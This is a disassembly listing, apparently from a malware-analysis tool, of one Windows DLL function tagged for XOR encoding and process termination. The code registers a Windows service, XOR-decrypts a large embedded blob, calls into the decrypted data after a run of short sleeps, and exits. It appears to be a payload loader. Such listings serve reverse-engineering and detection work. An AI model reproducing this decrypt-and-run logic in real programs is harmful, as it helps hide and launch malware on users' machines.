Function at 0x18000117c
Capabilities:
Encode data using xor
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x388]
sub rsp, 0x470
mov rax, qword [0x180023010]
xor rax, rsp
mov qword [rbp + 0x360], rax
mov edi, 0x104
lea rcx, [rsp + 0x30]
mov r8d, edi
xor edx, edx
call fcn.180004210
mov r8d, edi
lea rcx, [rbp + 0x40]
xor edx, edx
call fcn.180004210
mov edi, dword [0x180051020]
xor r14d, r14d
test edi, edi
jne 0x1800011e9
call fcn.180001070
mov edi, dword [0x180051020]
mov r8, r14
mov r15d, 1
imul edi, edi, 0x19660d
mov eax, 0x51eb851f
add edi, 0x3c6ef35c
mul edi
shr edx, 3
movsx eax, dl
imul ecx, eax, 0x19
mov al, dil
sub al, cl
add al, 0x61
mov byte [rbp + r8 + 0x40], al
add r8, r15
cmp r8, 0xa
jl 0x1800011f2
mov rcx, r14
mov al, byte [rbp + rcx + 0x40]
mov byte [rsp + rcx + 0x30], al
add rcx, r15
test al, al
jne 0x180001226
xor edx, edx
lea rcx, [rbp + 0x150]
mov r8d, 0x208
call fcn.180004210
or rbx, 0xffffffffffffffff
lea rax, [rsp + 0x30]
mov r9, rbx
inc r9
cmp byte [rax + r9], r14b
jne 0x180001255
mov dword [rsp + 0x28], r14d
lea r8, [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x20], r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rsi, eax
lea ecx, [rsi + 1]
movsxd rcx, ecx
test rcx, rcx
je 0x180001293
movzx eax, r14w
lea rdi, [rbp + 0x150]
rep stosw word [rdi], ax
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x180001298
lea rax, [rbp + 0x150]
mov dword [rsp + 0x28], esi
mov r9, rbx
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rdx, [0x180001130]
mov word [rbp + rsi*2 + 0x150], r14w
lea rcx, [rbp + 0x150]
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
mov qword [0x180051008], rax
test rax, rax
je 0x180001462
lea rdx, [0x180050fe8]
mov dword [0x180050fe8], 0x10
mov rcx, rax
mov dword [0x180050fec], 4
mov qword [0x180050ff0], 5
mov qword [0x180050ff8], r14
mov dword [0x180051000], r14d
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
test eax, eax
je 0x180001462
mov rdi, r14
lea rcx, [0x1800239f0]
mov edx, 0x2be00
mov al, byte [rdi + rcx]
xor al, byte [0x18004f7f1]
xor al, byte [0x18004f7f2]
xor al, byte [0x18004f7f3]
xor al, byte [0x18004f7f0]
mov byte [rdi + rcx], al
add rdi, r15
cmp rdi, rdx
jb 0x180001344
mov rax, rdx
xor byte [rcx], 0x34
add rcx, r15
sub rax, r15
jne 0x18000136d
call fcn.180001af0
mov rbx, rax
test rax, rax
je 0x18000141e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 2
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rsi + 1]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call fcn.180001e14
mov ecx, esi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rsi + 1]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
call rdi
mov rcx, rbx
call fcn.180001efc
mov rcx, qword [0x180051008]
lea rdx, [0x180050fe8]
mov dword [0x180050fec], 3
mov dword [0x180050ffc], r14d
mov dword [0x180051000], 0x3e8
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
test eax, eax
je 0x180001462
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.180001fc0
lea r11, [rsp + 0x470]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret